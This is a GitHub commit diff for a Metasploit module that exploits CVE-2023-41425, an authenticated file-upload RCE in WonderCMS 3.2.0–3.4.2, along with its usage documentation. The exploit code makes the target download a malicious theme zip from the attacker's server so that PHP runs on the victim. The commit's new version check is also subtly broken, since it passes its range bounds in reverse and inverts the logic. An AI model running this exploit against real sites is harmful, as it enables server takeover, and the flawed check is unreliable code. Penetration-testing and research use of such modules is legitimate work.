Skip to content

Commit b117843

Browse files
committed
Addressing comments
1 parent 622abe7 commit b117843

File tree

2 files changed

+14
-9
lines changed

2 files changed

+14
-9
lines changed

documentation/modules/exploit/multi/http/wondercms_rce.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
1. Install the application
1313
2. Start msfconsole
1414
3. Do: `use multi/http/wondercms_rce`
15-
4. Do: `set PASSWORD [password]'
15+
4. Do: `set PASSWORD [password]`
1616
5. Do: `set LHOST [attacker IP]`
1717
6. Do: `set LPORT [attacker PORT]`
1818
4. Do: `run`
@@ -22,7 +22,7 @@
2222

2323
### PASSWORD
2424

25-
WonderCMS generates one global password that gets generated upon first run of application. This is global admin password that controls the whole CMS. This password has to be used in the exploit to get authenticated access.
25+
WonderCMS uses a global password that generated at the application's first run. This is global admin password that controls the whole CMS. This password has to be used in the exploit to get authenticated access.
2626

2727
## Scenarios
2828

modules/exploits/multi/http/wondercms_rce.rb

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -19,13 +19,18 @@ def initialize(info = {})
1919
info,
2020
'Name' => 'WonderCMS Remote Code Execution',
2121
'Description' => %q{
22-
This module adds exploit for CVE-2023-41425. The WonderCMS is simple, free and open-source management system. It contains file upload vulnerability in version 3.2.0 up to version 3.4.2, which allows authenticated users to upload malicious zip file, which gets parsed into theme directory. This vulnerability can be used to upload malicious PHP file.
22+
This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.
2323
},
2424
'License' => MSF_LICENSE,
25-
'Author' => ['msutovsky-r7'],
25+
'Author' => [
26+
'msutovsky-r7', # msf module
27+
'Milad "Ex3ptionaL" Karimi' # original exploit
28+
],
2629
'References' => [
2730
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],
28-
[ 'CVE', '2023-41425']
31+
[ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'],
32+
[ 'CVE', '2023-41425'],
33+
[ 'EDB', '52271']
2934
],
3035
'Targets' => [
3136
[
@@ -79,7 +84,7 @@ def check
7984
'method' => 'GET',
8085
'uri' => normalize_uri(target_uri.path, '/how-to')
8186
})
82-
return Exploit::CheckCode::Unknown('Cannot connect to WonderCMS server') unless res&.code == 200
87+
return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200
8388

8489
return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')
8590

@@ -96,13 +101,13 @@ def check
96101

97102
html_document = res.get_html_document
98103

99-
html_document.xpath('//a').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }
104+
html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }
100105

101106
version = Rex::Version.new(Regexp.last_match(1))
102107

103108
return Exploit::CheckCode::Unknown('Unable to get version') unless version
104109

105-
return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") unless version <= Rex::Version.new('3.4.2') && version >= Rex::Version.new('3.2.0')
110+
return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))
106111

107112
return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
108113
end
@@ -138,7 +143,7 @@ def install_malicious_component
138143

139144
send_request_cgi!({
140145
'method' => 'GET',
141-
'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=violet&type=themes&token=#{@token}")
146+
'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
142147
})
143148
end
144149

0 commit comments

Comments
 (0)